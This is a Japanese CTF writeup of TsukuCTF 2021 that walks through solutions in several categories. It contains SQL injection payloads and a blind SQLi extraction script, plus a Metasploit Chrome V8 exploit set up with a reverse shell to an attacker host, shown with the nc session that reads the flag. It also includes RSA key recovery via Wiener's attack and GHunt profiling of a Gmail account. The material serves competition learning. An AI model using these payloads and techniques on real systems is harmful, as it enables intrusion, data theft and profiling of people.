Satoooonの物置

雑多に色々と何かをしている

TsukuCTF 2021 Writeup

TsukuCTFに参加して182チーム中3位でした。解けた問題について解説をしていきます。

f:id:Satoooon1024:20210914002528p:plain

f:id:Satoooon1024:20210914002704p:plain

Web

Login [79 solves]

ログイン画面が与えられます。SQL Injectionっぽいのでいつもの' OR 1=1 --を入れたらログインでき、フラグが貰えました。

TsukuCTF{You_4r3_SUP3R_H4CKER}

digits [63 soves]

from typing import Optional
from fastapi import FastAPI
import random

app = FastAPI()

FLAG = "TsukuCTF{}"


@app.get("/")
def main(q: Optional[str] = None):
    if q == None:
        return {
            "msg": "please input param 'q' (0000000000~9999999999).  example: /?q=1234567890"
        }
    if len(q) != 10:
        return {"msg": "invalid query"}
    if "-" in q or "+" in q:
        return {"msg": "invalid query"}
    try:
        if not type(int(q)) is int:
            return {"msg": "invalid query"}
    except:
        return {"msg": "invalid query"}

    you_are_lucky = 0

    for _ in range(100):
        idx = random.randrange(4)
        if q[idx] < "0":
            you_are_lucky += 1
        if q[idx] > "9":
            you_are_lucky += 1

    if you_are_lucky > 0:
        return {"flag": FLAG}
    else:
        return {"msg": "Sorry... You're unlucky."}

こんなサーバーが動いています。パラメータqの先頭4文字が0~9外であれば確率でフラグが貰えそうですが、type(int(q)) is intの制限を通さなければなりません。

intか数値リテラルの仕様を見れば良さそうだなと思いPythonのドキュメントを探しました。

https://docs.python.org/ja/3/reference/lexical_analysis.html#grammar-token-integer

するとPythonの数値リテラルには_が使えることがわかったので(忘れてた)、それを使って先頭4文字に_を含めた?q=1_34567890を送信するとフラグが貰えました。

TsukuCTF{you_are_lucky_Tsukushi}

logonly [31 solves]

ジャンル: guessが開き直ってて好きです。

Tsukushiくんへ

君のサーバをハッキングしました。
Kali Linuxの中のツールとファイルを使ったらrootで簡単にログインできたけど大丈夫ですか?

Suginaより

このようなメッセージに添付されたログからパスワードを特定しろという問題です。

XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 -
XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 -
XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 -
XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 -
...
XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 -
XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 -

大量の401を返していますね。パスワードを特定しろという問題から考えるとパスワードをブルートフォースしたか?と推測できます。

Kali Linuxの有名なパスワードリストといえばrockyou.txtです。200を返したレスポンスが何番目なのか見ましょう。

(rockyou.txtはSecListsを使いました)

with open("/home/satoooon/wordlist/rockyou.txt", "rb") as f:
    words = f.read().split(b"\n")

with open("./logonly", "rb") as f:
    log = f.read().split(b"\n")

for word, line in zip(words, log):
    print(word, line)

考えるのが面倒臭いので適当にログを出します。wbのタイポには気を付けましょう(一敗)

❯ py solve.py
...
b'qwertzu' b'XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 -'
b'qwertyuiop[]\\\\' b'XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 -'
b'qwertyuio0' b''

qwertyuiop[]\\がフラグだと推測できます。

TsukuCTF{qwertyuiop[]\\}

Login 2 [21 solves]

とりあえず今回も' OR 1=1 --を入れてみますが、今回はフラグの代わりに複数のユーザー名が出てきます。

f:id:Satoooon1024:20210914002841p:plain

SQLの結果に対してfor文で出力でもしているのでしょう。UNION based SQL Injectionで情報を見ます。

' OR 1=1 UNION SELECT 'hoge' --では駄目だったので' OR 1=1 UNION SELECT 'hoge','fuga' --と入れたらログインできました。出力を見るとhogeユーザーがあるので、2列のSQL文で1列目がユーザー名のようですね。

適当に試したらMySQLであることがわかりました。' OR 1=1 UNION SELECT table_name,'hoge' FROM information_schema.columns --でテーブル名を見ると、super_secret_tableというテーブルがあることがわかります。

(ここでOR 1=1が必要ないことに気付きました)

' UNION SELECT column_name,'hoge' FROM information_schema.columns WHERE table_name='super_secret_table' --でカラムを見ると、secretというカラムがありました。

' UNION SELECT secret,'hoge' FROM super_secret_table --を中を見ると、フラグが書かれていました。

TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}

Journey [18 solves]

URLにアクセスすると、ランダムに複数回リダイレクトされた後に/goalに飛ばされます。

f:id:Satoooon1024:20210914002907p:plain

f:id:Satoooon1024:20210914002925p:plain
飛ばされたページ

Wrong goalらしいです。少し悩みましたが、最後のステータスが405 Method Not Allowedであることに気付きました。試しにPOSTでリクエストしてみましょう。

❯ curl -X POST https://tsukuctf.sechack365.com/problems/journey/goal
<h1>DO NOT SEND YOUR DATA. This method is not allowed!</h1>

返答が特徴的なので合ってそうですね。他のメゾッドも色々試すと、CONNECTが怪しい返答を返しました。

❯ curl -X CONNECT https://tsukuctf.sechack365.com/problems/journey/goal
<head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Where are you from?</h1><p>I think you have come from fraudulent referer.</p></body>

refererがおかしいと言われました。refererを通常のリダイレクト元にしてみます。

❯ curl -X CONNECT -H 'Referer:https://tsukuctf.sechack365.com/problems/journey/railway/0' https://tsukuctf.sechack365.com/problems/journey/goal
<h1>TsukuCTF{H0w_wa5_y0ur_j0urney?}</h1>

フラグが出てきました。

TsukuCTF{H0w_wa5_y0ur_j0urney?}

Login3 [9 solves]

今度はログインしても特に情報は無く、ログインできたかどうかしかわかりません。Blind SQL Injectionです。

作っておいたテンプレートが役に立った!と思いましたが無限にバグらせて結局時間を溶かしました。

import requests as req

ses = req.Session()

url = "https://tsukuctf.sechack365.com/problems/login3/"


def is_ok(i, c):
    condition = f"(SELECT ASCII(SUBSTR(group_concat(secret),{i+1},1)) FROM urtla_secret_tsukushi)<={c}"
    payload = f"' OR {condition} -- "
    
    ses.get("https://tsukuctf.sechack365.com/problems/login3/logout.php")
    res = ses.post("https://tsukuctf.sechack365.com/problems/login3/login.php", data={"name": payload, "pass": ""})
    
    print(i, c, payload)
    print(res.text.find("ようこそ !") != -1)
    return res.text.find("ようこそ !") != -1


def search_one(i):
    ng, ok = 0x20, 0x80
    while (abs(ok - ng) > 1):
        mid = (ok + ng) // 2
        if is_ok(i, mid):
            ok = mid
        else:
            ng = mid
    return chr(ok)

secret = ""
while True:
    secret += search_one(len(secret))
    print(secret)

テーブル名とカラムの特定は省略します。MySQLのデフォルトにあるテーブルが出てくると長くなってしまうので、チートシートを参考にWHERE table_schema != ‘mysql’を入れて回避しました。

❯ py blind_sqli.py
0 80 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=80 --
False
0 104 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=104 --
True
0 92 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=92 --
True
0 86 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=86 --
True
0 83 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=83 --
False
0 84 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),1,1)) FROM urtla_secret_tsukushi)<=84 --
True
T
...
62 124 ' OR (SELECT ASCII(SUBSTR(group_concat(secret),63,1)) FROM urtla_secret_tsukushi)<=124 --
False
T,s,u,k,u,C,T,F,{,U,_,A,r,e,_,G,e,n,i,0,u,s,_,T,$,U,K,U,S,H,1,}

TsukuCTF{U_Are_Geni0us_T$UKUSH1}

gyOTAKU [4 solves]

問題文で管理者はユーザーが作れないのでrootユーザーで動かしている フラグはflag{乱数}.txtと言われます。

import io
import os
import random
import string
import requests
import subprocess
from flask import Flask, render_template, request, send_file

app = Flask(__name__)

def sanitize(text):
    #RCE is a non-assumed solution. <- This is not a hint.
    url = ""
    for i in text:
        if i in string.digits + string.ascii_lowercase + string.ascii_uppercase + "./_:":
            url += i
    if (url[0:7]!="http://") and (url[0:8]!="https://"):
        url = "https://www.google.com"
    return url

@app.route("/")
def gyotaku():
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(15)])
    url = request.args.get("url")
    if not url:
        return "<font size=6>🐟gyOTAKU🐟</font><br><br>You can get gyotaku: <strong>?url={URL}</strong><br>Sorry, we do not yet support other files in the acquired site."
    url = sanitize(url)
    html = open(f"{filename}.html", "w")
    try:
        html.write(requests.get(url, timeout=1).text + "<br><font size=7>gyotakued by gyOTAKU</font>")
    except:
        html.write("Requests error<br><font size=7>gyotakued by gyOTAKU</font>")
    html.close()
    cmd = f"chromium-browser --no-sandbox --headless --disable-gpu --screenshot='./gyotaku-{filename}.png' --window-size=1280,1080 '{filename}.html'"
    subprocess.run(cmd, shell=True, timeout=1)
    os.remove(f"{filename}.html")
    png = open(f"gyotaku-{filename}.png", "rb")
    screenshot = io.BytesIO(png.read())
    png.close()
    os.remove(f"gyotaku-{filename}.png")
    return send_file(screenshot, mimetype='image/png')

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=9000)

f:id:Satoooon1024:20210914002949p:plain
サイトの出力

指定したURLにアクセスしてスクリーンショットを取ってくれるサービスのようです。

iframesrc属性などでローカルファイルをどうにかして読み込むのかな~と思いましたが、軽く調べて都合のいい仕様が見つからなかったのでどうするかなと悩みました。

少し経った後、この記事を思い出しました。

ptr-yudai.hatenablog.com

クローラーに古いChromeを使っているXSS問をChrome Exploitで壊してフラグをゲットするという記事で、この問題も古いChromeを使っていればRCEが可能じゃないか?と思いつきました。

<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8">
   <title>HOGE</title>
</head>
<body>
    <img src="http://requestbin.net/r/****?check">
</body>
</html>

このようなHTMLをホストしてブラウザからrequestbinにアクセスさせます。

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/86.0.4240.111 Safari/537.36

バージョンが86.0.4240.111であることがわかりました。現行が93くらいなので古いですね。

有効なexploitは適当に検索しても見つけられるのですが、改造してもうまく動きません。

よく思い出せないのですが、履歴を見たらここで唐突に「metasploit chrome rce」と検索しています。なんで????? 検索すると実装があることがわかります。自分のサーバーにmetasploitが入ってないのでローカルで実行して適当に抜き出しましょう。

❯ msfconsole
...
msf6 > set PAYLOAD linux/x86/shell_reverse_tcp
PAYLOAD => linux/x86/shell_reverse_tcp
msf6 > set LHOST X.X.X.X
LHOST => X.X.X.X
msf6 > set LPORT 9090
LPORT => 9090
msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
[*] Using configured payload linux/x86/shell_reverse_tcp
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) >
[-] Handler failed to bind to X.X.X.X:9090:-  -
[*] Started reverse TCP handler on 0.0.0.0:9090
[*] Using URL: http://0.0.0.0:8080/5TESaB85iFV1Cl
[*] Local IP: http://X.X.X.X:8080/5TESaB85iFV1Cl
[*] Server started.

curlで生成されたexploitのHTMLだけ抜き出して、サーバーにホストしてアクセスさせるとリバースシェルが降ってきます。

$ nc -lvnp 9090
listening on [any] 9090 ...
ls
ZrZwUwenp39DJcB.html
al8vNpOH40E0oIZ.html
amuUhnInAigRI1s.html
...
app.py
...
flagc464f9eba1.txt
...
requirements.txt
uwsgi.ini
cat flagc464f9eba1.txt
TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}exit

TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}

流石に非想定解かと思ってましたが、一応想定内だったそうです。(確かにオプションにわざわざ--no-sandboxが入ってるのはおかしい)

Rev

Legacy code [7 solves]

    .arch i286,jumps
    .code16
    .att_syntax prefix
    .section    .rodata

.LC0:
    .string "PC%d%.0f\n"
    .text
    .global main
    .type   main, @function

main:
    enterw  $24-2,  $0
    movw    $9, -2(%bp)
    movw    $0, -6(%bp)
    movw    $0, -4(%bp)
    movw    $0x28A4, -10(%bp)
    movw    $0x4448, -8(%bp)
    movw    $0xE148, -14(%bp)
    movw    $0x3EBA, -12(%bp)

    .arch pentium
    finit
    fld -10(%bp)
    fld -14(%bp)
    faddp   %st(0), %st(1)
    fstp    -6(%bp)
    fwait
    .arch i286

    movw    -6(%bp),    %ax
    movw    -4(%bp),    %dx
    leaw    -22(%bp),   %cx
    pushw   %dx
    pushw   %ax
    pushw   %cx
    pushw   %ss
    popw    %ds
    call    __extendsfdf2
    addw    $6, %sp
    movw    -22(%bp),   %cx
    movw    -20(%bp),   %ax
    movw    -18(%bp),   %dx
    movw    -16(%bp),   %bx
    pushw   %bx
    pushw   %dx
    pushw   %ax
    pushw   %cx
    pushw   -2(%bp)
    pushw   $.LC0
    pushw   %ss
    popw    %ds
    call    printf
    addw    $12,    %sp
    movw    $0, %ax
    movw    %ax,    %ax
    movw    %ax,    %ax
    leavew
    pushw   %ss
    popw    %ds
    ret
    .size   main, .-main
    .ident  "GCC: (GNU) 6.3.0"
  • フラグは出力結果を囲む
  • 実行しなくてもこのサイトを使うと解ける

ということが問題文で言われます。

コンパイルしようとしてもundefined reference to '__extendsfdf2'に引っ掛かります。解決方法が見つからなかったので諦めてアセンブリを読みます。

printfの引数のスタックには"PC%d%.0f\n", -2(%bp), -22(%bp), -20(%bp), -18(%bp), -16(%bp) と積まれるようですね。とりあえず冒頭を見るとmovw $9, -2(%bp)とあるので第一引数は9のようです。

残りの%.0fの結果がわかれば良さそうです。冒頭に怪しい値を代入している部分があるので、順番を考慮しつつ復元すると444828A43EBAE148であることがわかります。

問題文で提示されたサイトを見るとfloat/doubleとバイナリ表現の変換ツールでした。試しにこの値をfloatに変換してみると、800.635009765625になりました。アセンブリの内容はよくわかりませんが、何かの数値演算もしていなそうだし、PC98xxといえば聞き覚えがあるのでこの値で合ってそうです。実際にprintf("%.0f", 800.635009765625)を実行すると801になったのでPC9801がフラグです。

TsukuCTF{PC9801}

Network

genesis [10 solves]

TsukuCTFCoinという仮想通貨のエクスプローラーのサイトが渡されます。APIのドキュメントも同サイトに載っていました。問題文にはフラグはトランザクションに隠されていると書かれています。

試しに全取引のトランザクションスクレイピングしたりしてみましたがいい情報はありません。問題文のgenesisを調べると、ブロックチェーンの最初のブロックがGenesis Blockと呼ばれることがわかります。

エクスプローラーのAPIページの例が最初のブロックのものということが試行錯誤の過程でわかっているので、そこに載っているhttps://tsukuctfcoin.sechack365.com/api/getrawtransaction?txid=f44d8ca0b6e787c2193297aec523d685bc0ab5a38eca5a0b014c5a679507b13e&decrypt=0にアクセスしています。

"01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2804ffff001d0104205473756b754354467b323032315f30395f31315f47454e455349535f544b437dffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000"

これをCyberChefで文字列に戻してみます。

.....................................ÿÿÿÿ(.ÿÿ.... TsukuCTF{2021_09_11_GENESIS_TKC}ÿÿÿÿ..ò.*....CA.g.ý°þUH'.gñ¦q0·.\Ö¨(à9 ¦ybàê.aÞ¶Iö¼?Lï8ÄóU.å.Á.Þ\8M÷º..W.Lp+kñ._¬....

フラグがありました。

TsukuCTF{2021_09_11_GENESIS_TKC}

Crypto

CrackSSH! [13 solves]

ssh先と公開鍵が渡されます。

❯ cat crackssh.pub
ssh-rsa AAAAB3NzaC1yc2EAAACBAWKA1hYjuvhxiwCGKsG+nbLj/iYy6pRwkkka64J6L+VLPp4K3JVSREEzmztAWxjkhGOleol3vzDRqR2J+4nSVOI9FhJyiBdSgECmXJYojGVSU56bCMdcysEkKYVz5e0+xQAjZDrotpm+FT0VAdwdWuZM68zZY8DE9H2uo9daHCf/AAAAgQIB+Y+6jm9xvNibnZLIoAvIVv1GflbjQ5AoKp52yPq+3nRr1N1aalXhHV1pXcwa1yra81+DFDsu4bdpPC7f25pLriBZKaSNT7K0+sRQdP50iBaYjsF2Cyg8HjoeGaXVkh3bOw2V2WwUsU4qEr9TjPbMzrCCxkFDQPnwOwmiWQM8GQ== tsukushi@frt.hongo.wide.ad.jp

本番ではとりあえずPEM形式に戻そうとしたりしてましたが、今確認すると必要なかったですね...

pycryptodomeのCrypto.PublicKey.RSA.import_keyを使えば公開鍵をパースすることができます。とりあえずパラメータを確認してみましょう。

from Crypto.PublicKey import RSA

with open("crackssh.pub", "rb") as f:
    key = RSA.import_key(f.read())

print(f"n = {key.n}")
print(f"e = {key.e}")
n = 360925413365609656207284763303112593050686426607629131354843699618905677197872793512380288223361149508460688151102823348462592916817609977273908821217493993702786929282477487755465976082059834867631026295714550319202482180891845062064382568022072228888091051431136923983143306662931216184662445381040847666201
e = 248940659700671391171916045022225211367167934215525303038734152650593067612113589541083076628705613883775652505492831370527586438096113903892713520850387855997035509546247913887222055672708066391999421835495881798128330308530099218984443115901043292942963247939575084326452874538239309850357410618060448737279

eがクソでかいです。Wiener's Attackですね。

適当に実装を拾ってきてdを求めます。後はexport_keyを使えば秘密鍵が得られます。

# https://github.com/orisano/owiener/blob/master/owiener.py をコピペ
...
from Crypto.PublicKey import RSA

with open("crackssh.pub", "rb") as f:
    key = RSA.import_key(f.read())

print(f"n = {key.n}")
print(f"e = {key.e}")

d = attack(key.e, key.n)
print(f"d = {d}")


priv_key = RSA.construct((key.n, key.e, d))

with open("crackssh.pem", "wb") as f:
    f.write(priv_key.export_key())

できた秘密鍵を使ってssh接続します。

❯ ssh -p 30022 -i ./crackssh.pem tsukushi@frt.hongo.wide.ad.jp
load pubkey "./crackssh.pem": invalid format
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun Sep 12 12:35:55 2021 from 203.178.135.47
$ ls
flag.txt
$ cat flag.txt
TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}

TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}

Hardware

CAD [82 solves]

stl拡張子のファイルが渡されます。CADは持ってませんでしたがWindowsデフォルト?のPrint 3Dで開けました。

f:id:Satoooon1024:20210914003015p:plain

裏面を見たらフラグが書かれていました。

TsukuCTF{ILIK3B3ar}

Ltika [49 solves]

void setup() {
  // initialize digital pin LED_BUILTIN as an output.
  pinMode(LED_BUILTIN, OUTPUT);
}

void blinking(){
  digitalWrite(LED_BUILTIN, HIGH);   
  delay(500);
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}
void lit(){
  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(2000);                       // wait for a second
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}

void wait(){
  digitalWrite(LED_BUILTIN, LOW);
  delay(1200); 
}
// the loop function runs over and over again forever
void loop() {
  blinking();
  wait();

  lit();
  blinking();
  wait();
  
  blinking();
  lit();
  lit();
  lit();
  wait();

  lit();
  lit();
  lit();
  lit();
  lit();
  wait();

  lit();
  blinking();
  lit();
  lit();
  wait();

  blinking();
  blinking();
  blinking();
  blinking();
  wait();

  blinking();
  lit();
  wait();

  blinking();
  lit();
  blinking();
  wait();

  lit();
  blinking();
  blinking();
  wait();

  blinking();
  lit();
  lit();
  wait();

  blinking();
  lit();
  wait();

  blinking();
  lit();
  blinking();
  wait();

  blinking();
  wait();

  lit();
  blinking();
  lit();
  blinking();
  lit();
  lit();
  wait();

  delay(3000);
}

いかにもモールス信号っぽいのでMorse Code Translator by Various Wordsで復号します。

f:id:Satoooon1024:20210914003037p:plain

TsukuCTF{ENJ0YHARDWARE!}

PCB [29 solves]

TsukuCTF_Gerber.zipというファイルが渡されます。中身はよくわかりませんでした。

Gerberとは何でしょうか?調べてみるとガーバーフォーマットというプリント基盤のファイルフォーマットがあることがわかったので多分それでしょう。

Online Gerber Viewerというフリーのサイトがあったのでそれで見てみます。

f:id:Satoooon1024:20210914003051p:plain

問題文にはフラグは星座を表す英単語大文字と書かれていたので、これのことでしょう。PowerはLEDではないことに気を付けて88星座を頑張って全探索すると、はくちょう座であることがわかります。

TsukuCTF{CYGNUS}

Misc

TORItsukushi [90 solves]

大文字文字列 TSUKUSHI を可能な限り何度も取りつくしてください。残った文字列がフラグです。だそうなので実装します。

with open("many_tsukushi.txt") as f:
    m = f.read()

t = "TSUKUSHI"

while t in m:
    m = m.replace(t, '')

print(m)
❯ py solve.py
TsukuCTF{Would_you_like_some_fresh-baked_Tsukushi?}

Customization [98 solves]

Googleスプレッドシートのリンクが渡されます。TsukuCTFで検索すると透明なフラグが書かれていました。

TsukuCTF{yak1n1ku_ta6eta1}

discriminate [25 solves]

要約すると、GPT-2で生成された文字列とモデルが渡されるのでSecHack365のポスターから取られた元の入力文字列の末尾5文字を当てて下さいという問題です。

握るだけで解錠できるスマートドアハンドルを開発した。静脈認証が外側のドアハンドルに埋め込まれている。静脈認証は、身体の内部にある静脈パターンを読み取り、そのパターンに合致するドアハンドルを自動的に開く。スマートドアハンドルは、ドアハンドルの内側に内蔵されたセンサーが、ドアハンドルの開閉を検知して、自動的に開閉する。

最初は位置全探索プログラムを書きましたがincorrectでうまく行きませんでした。

2020年のポスターを見てみると元の文章が見つかるので、途中からずれるところを探せばよいです。

TsukuCTF{パターンを}

OSINT

ramen [93 solves]

f:id:Satoooon1024:20210914003358p:plain

「ラーメン ヤングコーン」で検索すると出てきました。

TsukuCTF{kagari_honten}

train [84 solves]

f:id:Satoooon1024:20210914003346p:plain

東京・上野方面と奥に見える品川・渋谷方面から有楽町~高輪ゲートウェイ間だとわかります。あとは「○○駅 ホーム」などで検索して頑張ると、新橋駅であることがわかります。

TsukuCTF{Shimbashi}

shop [83 solves]

f:id:Satoooon1024:20210914003107p:plain
映像の一部

映像から店舗名を特定しろという問題です。近くに海があることが映像からわかります。

Google Mapで「イオンモール 海沿い トヨタカローラ」と検索して頑張ると、イオンモール津南であることがわかります。

TsukuCTF{イオンモール津南}

Beach [80 solves]

f:id:Satoooon1024:20210914003425j:plain

f:id:Satoooon1024:20210914003152p:plain

看板の文字列から「"浜辺のレンタルスペース"」で検索すると出てきます。

TsukuCTF{Chigasaki}

fishing [77 solves]

f:id:Satoooon1024:20210914003443p:plain

橋を切り取ってGoogle画像検索すると出ました。

TsukuCTF{若狭海浜公園}

train2 [60 solves]

f:id:Satoooon1024:20210914003504j:plain

出町~という文字が見えるので検索してみると出町柳駅であることがわかります。と思ったけどincorrect。

Google Mapのストリートビューで近くの駅を探すと元田中駅が一致します。

TsukuCTF{元田中駅}

dam [55 solves]

f:id:Satoooon1024:20210914003547j:plain

「ダム 橋 アーチ 赤」で検索して頑張って画像を見ていくと同一のものがありました。

TsukuCTF{河内貯水池}

YUUGEN [47 solves]

f:id:Satoooon1024:20210914003207p:plain
映像の一部

映像を撮った駅を答える問題です。車体に書いてあった番号と合わせ「58654 無限」で検索すると記事が見つかります。鬼滅の無限列車とコラボしたSLが走るイベントがあり、熊本~博多間を走ったらしいですね。

映像のプロパディを見ると2020/11/03 13:44に撮られたとわかりました。Twitterでリアタイ実況してる人がいそうなので「since:2020-11-03_13:44:00_JST until:2020-11-03_14:00:00_JST 無限列車」などで調べましたが、なかなか情報が出ません。履歴見ても競技中どう考えたか思い出せないですが、多分どうにかしてこのツイートを見て、雰囲気が似てると思ったのでしょうか?竹下駅を詳しく調べるとそれっぽいことがわかります。

TsukuCTF{Takeshita}

Tsukushi_no_email1 [44 solves]

tsukuctf[@]gmail.comの顔写真を見つけろという問題です。「gmail OSINT」で検索すると記事が見つかります。いったんGmailのto欄にアドレスを入れると情報が出るようなので、やってみます。

f:id:Satoooon1024:20210914003231p:plain

アイコンの画像にフラグがありました。

TsukuCTF{Gooele_Kingdom}

Tsukushi_no_email2 [40 solves]

今度は彼の予定を調査しろと言われました。もう少し調べると、GHuntというツールを見つけたので試してみます。

❯ docker run -v ghunt-resources:/usr/src/app/resources -ti mxrch/ghunt ghunt.py email tsukuctf@gmail.com

     .d8888b.  888    888                   888
    d88P  Y88b 888    888                   888
    888    888 888    888                   888
    888        8888888888 888  888 88888b.  888888
    888  88888 888    888 888  888 888 "88b 888
    888    888 888    888 888  888 888  888 888
    Y88b  d88P 888    888 Y88b 888 888  888 Y88b.
     "Y8888P88 888    888  "Y88888 888  888  "Y888

[+] Docker detected, profile pictures will not be saved.
[+] 1 account found !

------------------------------

Name : つくし

[-] Default profile picture

Last profile edit : 2021/09/13 00:58:08 (UTC)

Email : tsukuctf@gmail.com
Google ID : 110587651983636997822

Hangouts Bot : No

[+] Activated Google services :
- Hangouts
- Maps

[+] YouTube channel (confidence => 37.5%) :
- [つくし] https://youtube.com/channel/UCdCkATiEeTfltDib8pBCRoA
- [つくし] https://youtube.com/channel/UCfOb_I8IQyvcsFRRrXdNb2A

Google Maps : https://www.google.com/maps/contrib/110587651983636997822/reviews
[-] No reviews

Google Calendar : https://calendar.google.com/calendar/u/0/embed?src=tsukuctf@gmail.com
[+] Public Google Calendar found !

=> The last 1 event :
╔════════╤═════════════════════╤═════════════════════╗
║  Name  │   Datetime (UTC)    │      Duration       ║
╟────────┼─────────────────────┼─────────────────────╢
║ flag🚩 │ 2021/09/11 03:00:00 │ 23 hours 30 minutes ║
╚════════╧═════════════════════╧═════════════════════╝

いかにも怪しい予定があるので見てみるとフラグがありました。

TsukuCTF{Horsetail_is_delicious}

cafe [37 solves]

@7aru7aruさんが通っているメイドカフェを当てる問題です。メディア欄を見ていると当たりのツイートがありました。

ポケットにある「No1メイドカフェグループ」という文字列を検索してみるとめいどりーみんというチェーン店であることがわかります。どの店舗かまで当てる必要があります。

「@7aru7aru since:2021-7-20 until:2021-7-23」で前後の発言を見てみると、上野にある店舗であることがわかります。

店舗一覧を見て条件に合いそうなものを探すと、中央通り店であることがわかります。(上野の特定ほぼ意味ないですね)

TsukuCTF{https://maidreamin.com/shop/detail.html?id=5}

OBOG [21 solves]

SecHack365の非公式ページの改竄内容を見つけろと言われます。検索するとサイトは見つかります。

GitHubリポジトリがあるみたいなので見てみます。多分優秀な人はCI/CDとか組んでるので改竄もcommit通してるだろと考えました。

コミットメッセージは多少偽装してそうだと思って流し見していたらそれっぽいのを見つけました。

❯ echo VHN1a3VDVEZ7aHR0cHM6Ly9zZWNoYWNrMzY1Lm5pY3QuZ28uanB9 | base64 -d
TsukuCTF{https://sechack365.nict.go.jp}

TsukuCTF{https://sechack365.nict.go.jp}

InterPlanetary Protocol [20 solves]

以下の文字列は、つくし星で使われている特殊なウェブサイトのURLらしい。このウェブサイトをなんとか開いて、侵略計画を手に入れるのだ!!!
- bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
- bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
- bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm

とりあえず共通部分があるので「"bafybei" url」で検索してみます。ipfsという単語を複数の結果で見かけるのでそちらで検索してみると、InterPlanetary File SystemというP2P?のプロトコルであることもわかります。

Cloudflareがアクセス手段を提供していたのでそれで見るとフラグが3つに分かれて書かれていました。

❯ curl https://cloudflare-ipfs.com/ipfs/bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
TsukuCTF{IPFS_
❯ curl https://cloudflare-ipfs.com/ipfs/bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
_is_the_
❯ curl https://cloudflare-ipfs.com/ipfs/bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
future}

TsukuCTF{IPFS__is_the_future}

uiui [18 solves]

Tsukushiくんのパソコンがマルウェアに感染したようです。彼から一般に決められた方法で検体を送ってもらいましたが、解析にあたってマズイことをしてしまいました。彼は感染したことをほかの人に知られたくないようです。バレますかね?

zipファイルが配布されますが、パスワードがかかっています。seccampの講義を受けていて、有害なバイナリを含むzipをinfectedというパスワードで配布しているのをよく見ていたので同じパスワードを入力してみると解凍できました。特にリバースエンジニアリングしても情報はありませんでしたので、外部に情報があるのだなと思い付きます。

❯ sha256sum Virus
94ec98eca02b22b85abce1f82514fa267e566c0fee16339c2c8cd845b5c46716  Virus

ハッシュを取ってVirusTotalで検索してみると、出てきた結果にフラグが書かれていました。

TsukuCTF{Careless_uploading_is_dangerous}

感想

写真OSINT、なんもわからん................................

Yandexで検索してもぴったりヒットしないしGoogle Mapは結果を一部しか表示しないし発狂していました。

公式Writeupなどを見るとGoogle Lensというのを使っていました。知らなかったです。